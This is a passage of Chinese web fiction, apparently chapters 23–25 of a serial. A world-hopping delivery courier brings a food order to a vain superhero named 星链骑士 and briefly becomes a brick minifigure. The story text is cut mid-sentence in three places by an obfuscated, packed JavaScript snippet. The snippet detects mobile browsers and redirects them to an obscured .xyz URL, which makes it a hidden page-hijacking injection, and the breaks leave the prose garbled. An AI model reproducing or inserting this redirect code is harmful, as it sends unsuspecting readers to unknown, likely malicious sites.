K把面包放进烤箱,开始准备水果。看,现在就算他当着我的面用尖刀刺入猕猴桃的肚皮,切开草莓的身体,杀死橙子,肢解芒果,剁烂香蕉,我也不会有任何感觉。 “你干嘛呢,龇牙咧嘴的,还倒退那么远,”K斜了我一眼,擦擦手上的橙汁,“没事干就去打发奶油。” 好的。 快餐全家桶备好了,核对了两遍数量之后,放进了外卖餐盒。水果三明治也做好了,吐司柔软,奶油绵密,水果的尸骸被精心布置,一刀切下,露出拼贴成花朵树叶和小动物的截面。真是个完美的三明治。 K用保鲜膜把完美三明治严严实实地包好,装进牛皮纸袋,交给我。 等一下,客人要的不是挤烂的吗?还强调了要像被醉鬼吐出来一样烂。 “自己做的饭,我下不去手,”K说,“你来吧。” 那一开始就别这么认真做啊?真是不理解他。我接过三明治,往案板上一摔,抬手就是一巴掌拍下,摸了摸,不够烂,又翻过来补了一巴掌。我干这些的时候,K的脸皮抽动,闭上眼睛,转过身,似乎还倒抽了口气,好像我那两巴掌是拍在他脸上似的。 这么一想,我又拍了一巴掌。 然后我背上餐盒,骑着摩托出发了。目的地是MG1208,是最近刚在SA0407附近长出来的世界线,我也没去过。不过,长在那一带区域的世界线都差不多,共享同一套大规则,不会出现过于出人意料的状况——比如章鱼统治人类,虫族占领地球之类的。 踏板摩托低吼着在沙漠里驰骋,像个在洗澡时对着花洒唱歌的中年男人。很快,我看到了这一次的门,它笔直地立在沙堆上,崭新的,闪亮的木门,甚至还能闻到新鲜的油漆味。我走上前,把地址坐标写在门板上,敲了三下。 第三下刚一敲完,整扇门“咣当咣当”地剧烈晃动起来,仿佛门背后正在经历一场暴风雨。虽然有些吓人,但我知道,这表示世界线还没有完全稳定,内部正在迅速成长,瞬息万变,就像青春期孩子的精神状态。 自顾不暇的时候,稍微混进一只小蚂蚁,应该也不会被发现。我抓住门把,用力一拧,“咔”的一声,干涩的门轴转动,门打开了。 门背后没有风也没有雨,眼前一片漆黑。我打开摩托的前灯,光柱只能照亮面前一小块空间,再往前的黑暗厚得化不开。我又伸出脚尖朝前探了探,能踩到地面,就是有点晃,好像是悬在半空的吊桥——算了,能过就行,管它是桥还是路。我转身跨上踏板摩托,握紧车把,朝着前方驶去。 黑暗只持续了一段短暂的时间,很快,光线从四周渗入,我渐渐能看清周围了。然而视野和路面同时扭曲起来,重力的感觉也变得很奇怪,我好像一会儿在墙壁上,一会儿在天花板上,一会儿又在首尾相接的莫比乌斯环里旋转——这个世界可能比我以为的要更动荡,我不得不放慢速度,以免出现不必要的危险。 又是麻烦的一单。回去之后一定要痛骂K,就算他看不懂,也要用手势烦死他。 继续行驶一段之后,更多光芒从前方稳定地涌来,出口快到了。我松了一口气,加大油门,踏板摩托一声轰鸣,冲出隧道。 一瞬间,身体被压扁了。意料之中的情况,我吐出一口早有防备的气,排空肺部,同时朝前望去:平平无奇的人潮和车流,平平无奇的摩天大楼,平平无奇的满天飞行器,平平无奇的未来都市街景。我又瞟一眼后视镜,这一次的脸是这一类故事中的典型东方人长相,黄褐色皮肤,深色长发,潦草的马尾和单眼皮,夸张的动画画风把五官缺陷放大,但依旧平平无奇;无所谓,希望接下去的工作也是平平无奇的顺利。 我在一个红灯的路口停下,掏出纸条——好极了,坐标没有变。红灯一转绿,我立刻发动摩托朝前驶去—— 措不及防,一大口空气灌入鼻腔。我一下子被呛到,赶紧刹住车头,猛烈地干咳起来。终于缓过气之后,我发现身体又重新获得了重量和体积;但不是真人,我从2D动画变成3D的了。 连地上的影子都变得立体了。 虽然画风变得有些太快,倒也不是不能理解。可能刚刚那一瞬间,这个世界人气第一的超级英雄们有了3D剧集,或者某个3D动画的英雄团队的人气超过了原有的榜首吧。我很快找好了说服自己的理由,继续赶路。 但情况偏偏不如我所想。从落地点到目的地,不到一公里的距离,短短一路,我的画风不断切换,从2D变成3D,变成真人,又变成漫画,又变成黑白漫画,又变成四格简笔画——我的天,那真是我体验过的最难受的画风,连色块都消失了,身体变成了细细的线条,一动不动地钉在原地,然后“唰啦”一下,我被传送到一个空白方格里,又“唰啦”一下,我做好传送准备了,偏偏什么也没发生,再一声“唰啦”响起,天旋地转,头晕目眩,我发现自己站在一个广场中央,眼前矗立着一栋标准超级英雄风格的大楼。 懂了,起承转结,四格漫画的发展节奏。 下一秒,身体恢复了活动能力,谢天谢地,我又变成2D动画了。我停好摩托,背上餐盒走进大楼。一楼大厅非常热闹,人来人往,摩肩擦踵的全是穿着各色战斗服的超级英雄,又是激光眼,又是变色人,四足爬行的兽类英雄穿插其中,拍着翅膀的鸟类英雄从头顶滑翔而过。他们的画风更是琳琅满目,除了常见种类,还有黑白的单色的彩色的,折纸的粘土的毛绒的。一般来说,不同画风的超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774327|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级英雄会按照风格划分,在专用的楼层或者区域活动,以免造成混乱。像这样整个空间被不同的画风分割成无数碎块,简直就像个塞满了乱糟糟的脏袜子的抽屉……不,这样的想法太不礼貌了,我得打住。 (这么多超级英雄,中间肯定有不少能读心的,必须打住。) 与这幅光景相比,大楼门口没有保安,没有门岗,也没有前台,连个引导牌都没有,甚至连组英雄雕像,或者团队logo都没有,这倒是更加少见。 根据纸条上的坐标,收货地点应该在15楼。我站在大厅四下一望,看到不远处,六列宽敞豪华的大电梯并排占据了一整面墙,于是转身朝那里走去。因为身边都是不同画风的角色,我的身体被拉扯着不断变化,左手是动画,右手是漫画,左脚是充满力量感的墨水线条,右脚又是圆滚滚的Q版造型,难受极了。好不容易,我时而流畅时而卡顿地走到电梯前,刚刚伸手按下按钮,身边的人群突然骚动起来。 骚动是从门口传来的。那些五光十色的超级英雄们纷纷朝两边避让,仿佛有一条蛇扰乱茂密的草丛。我听到许多议论声:“是他们。”“他们来了。”“但他怎么好像不在?”“难道传说是真的?”“可恶,什么时候能轮到我。”是来了很了不起的人吗?我试着朝人群让开的小道张望,但什么也没看到。 “叮”的一声,电梯到了,金光闪闪的金属门朝两边安静地打开。我收回视线,转身抬腿,突然听到一个尖声尖气的声音——“你没长眼睛吗!让我们先进去!” 非常尖利,非常细小的声音,却又非常嚣张,就像掌管整片街区的老鼠老大被狠狠踩到了尾巴。我试着寻找声音传来的方向,但哪儿都没看到人。那可能老鼠老大不是在对我说吧?我又转过身,重新迈开步子,走进电梯—— “你是真没看见还是假没看见,连我们都不认识?!”那个声音又响起来了。同时响起的还有周围的窃窃私语:“不会吧?她不知道星链骑士和他的朋友?”“这里还有不认识星链骑士的人?”“不过他本人也不在,剩下的几个认不出来也难免……” 星链骑士?这一单的收件人?我立刻转身回头—— 一瞬间,身体的画风又变了。我只觉得自己在飞快下坠,天花板高得像要飞起来,墙壁也不断往上拔高,拔高,我所处的空间好像扩大了几百倍,或者上千倍。或者,是我缩小了几百上千倍?身体的重心飞快地变化,我一下子站不稳,膝盖一弯就要往下坐倒。 ……不,膝盖弯不了。 手肘也弯不了。 腰呢?腰……腰没有了! 身体在一瞬间变硬了。我转头朝亮闪闪的电梯门望去——上面映出一个圆柱脑袋,四方身体,手脚四肢一体成型的,积木小人。 积木小人,连五官都是转印贴纸印上去的。 连手掌都变成了两个u形的塑料钳子。 浑身上下只有肩关节、髋关节,和脖子,能做不完整的圆周转动。 就算是见识过无数个超级英雄世界的我,也还是第一次变成这幅样子。但毕竟是见识过无数个超级英雄世界的我,一瞬间的震惊后,我立刻回过神,视线一划,看到电梯门的倒影里,我的身后,站着五六个和我一样扁扁的香蕉色的积木小人。他们穿着统一制式的战斗服——也是用转印贴纸印的。 就是他们在对我说话吗,怪不得我半天没看到人。不过,这是星链骑士的画风?难以置信,流行的风向又变了吗?带头的那个,甚至还没有旁边那个大块头的鞋面高。 “让开!”没鞋面高的积木小人冲我喊道,“我们赶时间!” 没问题。但话又说回来,我已经只有那么点大了,他们从我旁边走过去不就行了?我收回步子,转身要给他们让出通道。然而积木小人没有腰,身体是一整块轻飘飘的塑料。我一扭动,顿时像陀螺一样“骨碌碌”打起转来。我试图停下,可是光滑的方块脚底踩不稳地面,身体摇摇晃晃跌跌撞撞,朝着电梯门口那道漆黑的缝隙,不,漆黑的深渊,栽倒下去。 ——千钧一发之际,一只大手从天而降,把我抓住,提起,托在掌心。 我抬头,不,转动脖子一看,是个年轻的东方人。他有着和我类似的黄褐色皮肤,略显粗糙的动画画风让他面目模糊,只有脸上一副巨大的黑框眼镜格外醒目。他看着我的眼神似乎有些困惑,可惜没有足够的帧数去表现他的神情变化。 这应该是个随处可见的不起眼的配角,但他身上穿着和积木小人们一样的战斗服。 “怎么才来!”为首的积木小人又开口了,“我们现在这个样子,走路很累的,你不知道吗!” “反应这么慢,怪不得漫画都连载完了,人气还是垫底!”另一个人也跟着叫嚷起来。 “好好反思一下,为什么电影版就你没出场。” “留他下来不是挺好吗~要是我们大家都去演电影,都变成积木小人了,岂不是没人带我们走路了~” 年轻的配角连连弯腰鞠躬:“对不起,我刚刚在停车,来晚了,对不起!”标准的90度鞠躬,是东方人没错。 说完,他把我轻轻放进衣服口袋,又蹲下/身子,把地上那一伙积木小人提起来,一个个放进另一边的口袋。然后他起身走进电梯,按下按钮。 24.积木小人的读取记忆 电梯开始上行。 我坐在东方人的口袋里——不,是站,全身只有四个关节的我没办法坐——听到另一边的口袋传来“叽叽喳喳”的说话声,像一窝老鼠在开睡前会议。 “刚才他好像还抓了一个人,是谁?你们见过吗?” 是我。 “不会是新加入的人物吧!” 没这回事。 “怎么可能,她连我们都不认识,可见不是本地人,不用管~” 那确实。 “对呀,我们已经连续74个小时21分39秒占领全世界的大屏幕,怎么可能有人不认识我们?” 真厉害,真抱歉。 “这次的积木电影上映反响非常好~管理员说,马上不止是电影院,各大超市商场周边店都能看到我们了~” 祝贺祝贺。 “上次提到的游戏,开发进度怎么样了?” 还有游戏?够厉害的。 “不知道,这个事星链在管——他怎么还没来?” 原来星链骑士不在,那一会儿单子让谁签收? “刚才他接了个管理员的电话,直接从车窗里飞出去了——可恶,大家都变成积木小人了,凭什么只有他会飞!” 看来管理员也不在,那一会儿单子让谁签收? “这时候他被叫走,那个传言不会是真的吧?” 什么传言?一会儿单子谁签收? “多半是真的——可恶,为什么是他?他除了长得帅,还有什么?活都是我们在干,架都是我们在打,他连个必杀技都没有!除了一张好脸,什么都没有,偏偏观众喜欢他!凭什么!我哪里不如他!” 什么,身为超级英雄连必杀技都没有吗?所以是什么传言? “这些都算了,你们不觉得他有时候傻得有点过分吗?我怀疑他的设定表上是不是少了一行智力数据,这都能被选中?” 所以是什么传言? “可能是把智力点数都加在脸上了~” 还能这样?看来脸是真的很好看了——所以是什么传言? “听说这次的游戏可以自选角色,终于不是他做固定主角了。” 怎么又去说游戏了,到底是什么传言? “太好了!一定要让观众看看,我才是最强的战力!” 这句话刚说完,“叮”的一声,电梯到站,口袋晃动起来。才晃两下,对面传来一声“走慢点!晕死人了!”,然后头顶上方响起一声畏畏缩缩的“对不起”。口袋不晃了,缓慢地,平稳地移动。 很明显,这个年轻人目前在团队中的角色是交通工具。 这一层的气温和湿度非常舒适,从交通工具的脚步声判断,地上还铺了厚实柔软的地毯。交通工具朝某个方向走了30步左右,又转弯朝另一个方向走了50步左右,期间两次与人招呼问好,拘谨又客气的那种,然后他停下了脚步。 口袋被撑开了,一只手抓住我的塑料身体,把我从口袋里提起。我无法转动的贴纸眼睛只能看到眼前一小块视野——是一扇门,积木小人尺寸的门。然后,交通工具掏出另一个口袋里的小人们,分别用两只手托着我们,站在那扇门前。 “会议室变小了……我不能进去打扫,”他小声说,“非常抱歉。” 确实,那扇门的高度还不到他的脚踝,可能他一张嘴就能咬掉半块门板。 交通工具蹲下来,把我们一个个放到地上。我等着积木小人开门,然后我能把餐点放下。然而他们一下子把我把我团团围住。 为首的男人(应该是男人吧?)气势汹汹地上前,冲我伸出他的U型钳子手:“你是谁!这是我们的专属楼层,你不能来这!” 我这才有机会仔细看清他们——他们每一个的身高体型都完全相同,身上的印刷战斗服也完全相同,脸上的贴纸五官同样完全相同;仅有的区别是发型发色,个别肤色,以及女性队员会被画上夸张的睫毛和彩色的嘴唇。 总体来说,看不看清,没有区别。 “你说话呀!”暴躁的男人拧紧了他短小的眉毛。 我倒是很想回答他,但是一来我没法出声,二来我的衣服和身体一起变成塑料,衣兜成了一条花纹,里面的送货单自然也成了塑料块的一部分,实在没有办法拿出来。 他旁边的另一人90°转动脑袋,朝向交通工具:“你怎么随随便便就把陌生人带上来!” “啊,她不是我们的人吗?”交通工具有些慌张,尴尬地推了推粗大的黑框眼镜,“我看到她也是积木,还以为……我说怎么好像人数对不上。” “笨蛋!”和他说话的小人气得原地蹦跳,“你连队友的脸都记不住吗!” 这倒是不能怪他,毕竟现在我也和他们长得一模一样。我一转头,发现包围圈缩小了,积木小人们板着印刷脸朝我逼近。为首的男人又一挥钳子手:“她不说话!Crystal,你去读取她的记忆,看看她是从哪儿来的!” 他说完,旁边一个黑皮银发的女积木人立刻朝我走来。读取记忆吗?也行吧,反正我也说不了话,这样反倒更方便。于是我乖顺地转向她,乖顺地等待。可惜我的脖子关节不支持点头,没法让他们知道我有多配合。 然而那个积木小人的贴纸眼睛变色了,从单色印刷的黑变成了渐变色阶的红。她短短的四方塑料腿从地面悬空浮起,钳子手冒出“噼噼啪啪”的火花。 ……怎么回事,读心和读脑这类技能,不都是只要触碰就行了吗?怎么感觉情况有点不对? 女积木人银白色的塑料块头发一秒变成了飞扬的形状。 身上的印刷战斗服也在同时换成了炫丽的镭射贴纸。 不对劲,这不是我理解的“读取记忆”。 女积木人朝我伸出一只钳子手。她掌心的火花已经汇聚成闪电。 “可能会有点疼,”女积木人说,“忍一忍,等我把你的头壳打开就好了——就再也不会疼了。” ……原来是这样读取的吗?这是正义的伙伴该有的技能吗!我转身就要跑,然而积木小人早就把我牢牢包围,我的方块短腿连一步都迈不出去——等等,餐盒还在我背上,给他们看看盒子里的外卖,他们就会知道我的身份了!我赶紧伸手朝背上探去—— 不行,我做不到。 手臂暂时没有肘关节,只能笔直地上下挥动。别说背上的餐盒,我连自己的脸都碰不到。 女积木人走到了我面前。左右的积木小人伸出他们的钳子手抓住我,卡住我,按住我,压住我。女积木人的嘴角一秒上挑,她在笑。虽然五官只剩下简单的线条,但她竭尽所能地露出了这种情况下最狰狞的笑容。 “不要动,”她瞪着赤红的眼睛说,“让我来看看你的脑子里装了什么——” 她伸出的钳子手突然停住了,狰狞扬起的嘴角一秒落下,贴纸眼睛恢复成黑色,又困惑地眨了眨,塑料块头发重新回到披肩状态,连战斗服的镭射特效也消失了。 怎么了?我脸上有什么东西吗? 抓住我左手的积木小人把脑袋180°向后转,发出一声不妙的惊呼。这一声压低的“啊”就像开关,一时间,在场的所有小人纷纷转动脑袋,发出此起彼伏的“啊”“呃”“咦”“呀”“诶~~~”。 连交通工具也惊讶地推了推黑框眼镜。 “你……你回来了……”为首的暴躁积木人望着身后,一帧帧扯动嘴巴,“等一下,你是Evan,没错吧?” 一个爽朗清脆又响亮的声音在我身后响起:“是我,我回来了。刚才管理员突然找我,走得急了点,不好意思。” 是星链骑士?太好了,点餐的人来了,他肯定知道我——我不用被开瓢了!我立刻把脑袋180°向后转,准备与他相认,然后交货。 ——一个高大,不,对于我当前的体型来说,是巨大的男人,站在走廊上,金发耀眼,笑容明媚,碧蓝的眼睛让最昂贵的皇家蓝宝石也相形见绌,紧实饱满的肌肉在星星图案的紧身战斗服下如山峦起伏。他叉腰挺立在这堆拇指大小的积木小人面前,就像一尊顶天立地的铁塔。 他英俊,魁梧,开朗,友善,无论是外貌身材抑或气质,都完全符合自SA0407流传下来的队长模板——但是,为什么,只有他,是真人画风? 甚至旁边那扇会议室的小门也在他出现以后陡然膨胀,变成了正常人都能通过的尺寸。 这突如其来的反差和对比,让走廊上的所有积木小人都神情复杂——在贴纸五官能表现的范围内,最大程度地复杂。 五秒后,第一个转头的小人发出一声夸张地惊呼:“哇!Evan,你是有真人形象了吗?好帅啊!” 这又是一个开关。他一说完,其他的小人立刻争相开口:“太帅啦,是真人电影吗?”“我记得这张脸!他是最近最火的新生代偶像!”“太适合你了!这样的脸才配得上你!”“你有真人形象了,是不是我们也要有了?!” 连交通工具都抿着嘴,憋红了脸,眼中闪烁又兴奋又羡慕的光芒。 只有暴躁小人转过脸去,在一旁玻璃门的反光里咬牙切齿。 (看来在这种画风下,人是藏不住心事的。太好了,希望所有的世界线都能变成……不对,这样的话,大家就都只有四个关节了,还是不要了。) 星链骑士笑着朝众人点头致意。因为身高差距悬殊,他自上而下的眼神多少带了点看蚂蚁的慈爱。“不错,你们说得很对,只有他才能诠释我的潇洒,”星链骑士露出英俊爽朗的笑容,“对他来说,能够扮演我也是莫大的荣幸。这样的组合,是我们双方共赢的明智选择——当然,他赢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788303|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多点,我不介意吃点亏。” 怎么说呢,我也算是见识过各种各样的超级英雄,超级队长。不得不承认,眼前这位确实有些不太一样。 与那些外貌和品格都毫无瑕疵,如天神般完美,堪称圣贤中的圣贤的队长们,不太一样。 星链骑士的视线一划,发现了我:“你是……啊,我点的外卖到了?” 我条件反射地要点头,可身体硬件不支持,只好拼命挥动我短短的塑料手臂。 “什么外卖?你点外卖了?”暴躁小人看看我,又看看星链骑士。因为没法抬头,他后退了几步才对上星链骑士的眼神。 “对,上次和隔壁联动的时候,他们的夜幕猎手告诉我的。他说这是所有被救世主管理局收档记录的超级英雄都会光顾的一家店,只有真正的超级英雄才能打通店里的电话。老板做饭非常好吃,我就想尝尝——顺便看看,救世主管理局给我建档了没有。哈哈,看来我已经是获得执照和认可的正式的英雄了。” 说着,他朝我露出队长们标配的清爽迷人的微笑:“辛苦你送来,下次有机会去你们店里。” 辛苦倒是还好,就是我现在这幅样子,怕是没法交货。我挥舞钳子手,又跳又蹦又转身,向他展示我身上的塑料餐盒,希望他能理解我的困境。本来就没法说话,现在连手势都没法比划,我第一次对自己是否适合这份工作产生质疑。 “怎么了?你很着急?”星链骑士困惑地皱起眉头,然后恍然大悟,“哦,是哪里痒了,偏偏挠不到,对吧?没办法,这身体太不方便了。我做积木小人的时候也是这样——我都是趁着周围没人,偷偷往墙上蹭痒痒的,你要不也试试?” ……本来就没法说话,现在不但没法比划,还遇上一个傻……还遇上一个不那么聪明的客户。我第一次对继续从事这份工作产生了退缩。 “对,对,我也是,背上痒了挠不到,难受死了!”之前的积木小人紧跟着开口道,“不愧是Evan,能想到这么聪明的办法!” 开关再次打开了。积木小人们纷纷开始分享自己挠痒痒失败的故事,并且在故事的最后感谢星链骑士为自己指点迷津,“要不是你告诉我,我这辈子都想不到还有这个办法~” “不过,我们应该马上就有真人电影了吧?”掌握开关的积木小人“滴溜溜”地转着眼睛,“到时候就可以亲手挠痒痒了,是不是,Evan?” 其他人都不说话了,用五颜六色的贴纸眼睛牢牢盯着星链骑士。连正在生闷气的暴躁小人都屏住呼吸,朝他侧过视线。 连交通工具都站在一边咽了口口水。 他们都在等一句话,一个词,哪怕只有一个微笑的肯定的眼神。 但被他们注视的人似乎毫无察觉。他们看着他,他又看着我。直到五秒后,星链骑士再次恍然大悟地击掌:“噢,我知道了——你变成塑料小人,所以你带来的吃的也变成塑料,还和箱子长在一起,没法拿出来,是这个意思吧?” 对,对,对!我拼命瞪大眼睛,希望他能从我的眼神中读出强烈的肯定。 星链骑士又露出清爽迷人的微笑了。他蹲下来,伸出手,捏住我的塑料胳膊,往上一拔——瞬间,我像那扇门一样变大,长高,恢复了一开始的样貌。 我又变成那副不起眼的东方长相了,粗糙的,潦草的,稍有不同的是,这一次不是2D也不是3D,也不是钢笔线条,我变成了真人,有了呼吸和体温。 地上好像有许多小东西朝我投来生气又嫉妒的目光,连交通工具也咬住了嘴唇。 “抱歉抱歉,刚才没想到这回事。”星链骑士笑着说。我把送货单递给他,让他核对,然后取下背上的餐盒。他点的份量很多,当然不可能在这里打开。等他核对完单子之后,应该会告诉我“放这儿”,或者“放那儿”。 “芝士牛肉汉堡50份,辣芝士热狗50份,玉米塔可配蔬菜培根50份,无糖可乐50份,苏打水50份,咖啡配砂糖奶球50份,”星链骑士一个字一个字念出上面的内容,“哇,老板还送了小点心?太好了,还有——” “什么,你点那么多?”暴躁小人又蹦起来,“我们才7个人,你点那么多,怎么吃得完!” 啊,原来他们不是一人能吃50人份的大胃王吗? “有什么关系,Evan肯定有他的打算,”开关小人也跟着开口道,“是不是我们的真人电影要发布了,所以这些是用来开庆功宴的?” 顿时,地上又投来无数期待的眼神。 星链骑士眨了眨眼,又是五秒,再次恍然大悟。 “哦,这些不是给你们的,”星链骑士说,“刚刚老板问我收件地址,我脑子一转就报了这里,是我疏忽了。” 说完,他朝我一招手:“把东西带上,跟我来,我带你去。” 25.二人旅游团 确实,偶尔也会发生这种事。客人中总有一些不方便透露真实地址,或者大部分时间都在到处奔波的人,他们往往会留下一个临时座标,等我赶到之后,再当面交货,或亲自带我前往真正的收货地。我想星链骑士应该也属于这两种情况之一。 但如果可以的话,希望他能先跟队友们知会一声,这样我也不必遭受被开瓢的惊吓。 (话又说回来,那个读取记忆真的是开瓢吗?儿童动画里的超级英雄真的可以有这么血腥的技能吗?) 总之,我背着餐盒跟着星链骑士往前走,穿过走廊,穿过大厅,穿过一连串意外或惊讶或羡慕或嫉恨,或全年龄电影不能播出的眼神。然后他带我进了电梯,按下B3的楼层按钮。 “待会儿要去很多地方,那里有很多人,要辛苦你帮忙了,不然我一个人肯定忙不过来,”星链骑士说着,朝我转过头,露出星辰一样璀璨的微笑,“当然啦,对你来说也是一个难得的机会——是不是,你平时很少有机会接触像我们这样拯救世界的英雄吧?能和我一起行动,你应该很高兴吧?哈哈,不用拘束,我很随和的。” 其他两件事先不说,随和确实无法否认。 电梯一层一层下行,终于“叮”一声停下。星链骑士又先一步走出电梯,走了两步突然停住,回过身,退回到门口,朝我做了一个“请”的手势。 “差点忘了,女士优先。”他说。 希望他也不要那么多礼,我也很随和的。 “毕竟我现在已经有真人形象了,将来肯定会要经常出现在公众场合,必须随时注意言行举止,”星链骑士补充道,“我听说有真人形象的英雄很容易在这些细节上出意外——然后被骂,被讨伐,被团队除名,被小孩子当街撕下海报在脸上踩一脚,还要大喊‘最讨厌你啦’。我可不想这样。” 原来如此,他倒是很有防范意识。 于是星链骑士继续带着我朝前走去。这是一个普普通通的地下停车场,两旁停着一些普普通通的超级英雄战车:能隐形的,能变形的,能几辆车合体组成机器人的,装载激光炮的,装载小型核弹,装载阳离子震动匕首的……诸如此类,非常普通。星链骑士一边走,一边兴致勃勃地对我介绍:“看到了吗,那边的骷髅战车,是恶魔杀/戮者的,他驾驶着它扫平了三个恶魔星球。那边的摩托是结合了古神之力和未来科技打造的,可以沿着光线奔驰,众神之王把它送给日轮侠,因为他是太阳神的转世。哈哈,是不是很新奇?对你来说应该难得一见吧,有什么想知道的可以随时问我,我跟他们都很熟。哎,真羡慕你,我已经不会对这些感到兴奋和激动了,毕竟是我每天的日常。” 实不相瞒,也是我的。 终于,旅游团走到了停车场尽头。那里矗立着一扇大门,普普通通的未来风格机械大门,需要生物科技验证的那种。星链骑士又要开口介绍,我伸手拦住他,指了指门口的电子锁,希望他能直接解锁,别浪费时间。他用了五秒理解我的意思,恍然大悟:“先讲这部分是吗?好的,这是斯达克科技的最新产品,你很有眼光。它比一般的生物技术防盗门禁更安全,需要人脸、指纹、虹膜、声纹,以及牙型同时匹配,再说出口令,做出预先设置的解锁动作,才能打开。但考虑到这扇门所处的位置比较特殊,紧急情况下不一定有充裕的时间可以验证,所以也设置了应急模式,可以大幅度简化开门程序。” 说着,星链骑士走上前,清清嗓子,用刻意压低的嗓音低呼一声:“开门。” 金属大门发出一声电子音,齿轮转动,滑杆抬起,链条一格一格地推进,厚重的门板缓缓敞开了。 所以这不就是一般的声控门吗? 星链骑士朝我转过头,嘴角隐隐的笑意如云中明月,湛蓝的眼睛久久地望着我,湿润,闪亮,饱含期待。真奇妙,我明明不会读心,却一下子猜到他在想什么。 我对着门拍起手来。 “是吧,很厉害吧,也难怪你会惊讶,”星链骑士又露出队长的笑容了,“别说你没见识过,我也是今天才第一次来这——真的和荆棘女士说的一样,只要说‘开门’,就会打开,好神奇!” 他说着,伸出手把门摸了又摸,摸门把,摸门板,摸脸盘那么大的齿轮和手腕那么粗的链条,脸上始终洋溢发自内心的快乐笑容。他的队友们之前在背后议论他的那些话,我逐渐开始理解了。 终于,星链骑士依依不舍地松开手,再次朝我做了一个“请”的手势。我往门里看去,眼前是一条无限延伸的走廊。有些意外的是,走廊一边的窗口透出真实的天空,还有真实的阳光从窗外洒落,真实的车声和人声远远传来。原来门后又是另一个世界吗? 从墙边的绿植来看,应该是真人画风,倒是不用切换外表了。 “我也很想在这儿多玩一会儿,不过我们还有事,得走了。”星链骑士催促道。 好吧。 我们都进入走廊之后,那扇金属门缓慢地关上了。从走廊这一边望去,它就是一扇普通的消防门,随处可见。星链骑士轻快地朝前走。我也快步跟上,以免被他抛在身后。 “我很早就知道存在这样的地方,一直想来看看。但当时我还是个漫画人物,被粘在纸上,就算会飞,也飞不出分镜的小框框,”星链骑士两眼放光地说着,虽然不知道是不是说给我听的,“现在我终于有了最自由的身体,可以想去哪儿就去哪儿了。管理员告诉我,我马上会有真人形象的时候,我第一个想到要来这儿看看——然后就给你们店里打电话了。你看,我当时甚至还是积木小人,就迫不及待联系你们,那个钳子手,按号码可不容易,你们一定要珍惜这次为我工作的机会,像我这样的大英雄可不是天天会找你们的。” 是吗,所以这里是哪儿?走廊上非常安静,除了我们没有别人。我注意到我的左手边有一些房间,墙壁上嵌着银白色的门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804213|152412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,窗口是昏暗的,但稍微放慢脚步朝里看,又能发现里面闪烁着成片的荧光。 又路过一扇门,我一抬眼,看到门上挂着门牌,上面似乎有些字。我刚要伸长脖子去辨认,前面的星链骑士突然停下脚步,倒退,倒退,一直退到我身前,把我逼退两步。然后他原地向左转,正朝那扇门。 他饱满的胸肩正好挡住我的视线,我看不到门牌上的字了。 算了,我也不是很想知道。 “到了,是这里。”星链骑士说。他望着门牌上的字,脸颊逐渐泛红,通红,胸口也剧烈地起伏。他深呼吸,又深呼吸,然后伸手抓住了那个圆球形的门把。 “咔嚓”,门把向右旋转了30°——星链骑士的手猛地一顿。 怎么了,发生什么事了? “好险,差点忘了进门前要敲门,”星链骑士自言自语地拍拍胸口,吐出一口气,“要记的东西真多……我得赶紧习惯起来。” 然后他松开门把,在门上敲了三下。 门里没有回应,就像大部分时候,我叩击世界线隧道的门一样。 “……可能没听见吧。”星链骑士说着,又敲了敲门,稍微用了些力。然后他转过头来看我,露出标准的队长微笑。 “这里是我的起点,”他说,“是我出生的地方。” 出生的地方?听他这么一说,我对那扇门肃然起敬——孕育生命的地方,对于我这一族,相当于圣地。我立刻掸净衣服,整理头发,不能把灰尘带进圣地。 但圣地依旧安安静静。 星链骑士皱起眉头,又敲了三下。门背后仿佛是一片虚无。我把手贴上门板,试着放出芽梢,但那是一扇金属门,我穿透不了。我又抬头去看门上的门牌,可星链骑士像堵墙一样挡在前面,我只能看到他金色的短发,像满地丰收的麦浪。 星链骑士再次抬手敲门,这一次的力气更大了,“咚”的一声,门里终于传来了动静。 “吵死了!门没锁,自己开!”是暴躁的怒吼。 我愣了一下,星链骑士也是。他看看我,我也看看他。 然后,星链骑士吸一口气,拧动门把。门几乎是朝外弹开的,“砰”一声打在他英俊的脸上。下一瞬间,惨白的灯光和细碎的人声像沙暴一样扑面而来。 还有“咕噜咕噜”的水声,“咔哒咔哒”的敲击声,“噼噼啪啪”的脚步声,“吱吱吱吱”的电机运转声。 我看不到里面是什么情况,但感觉似乎很忙的样子。 星链骑士站在原地不动了,可能是被突如其来的打脸震撼。我推了推他,他回过神,又吸一口气,朝旁让开一步,走进门里,张开双臂:“各位!我回来了!你们的辛勤付出没有白费,我回来了!来看看我,你们最完美的作品!为自己的努力自豪吧!” 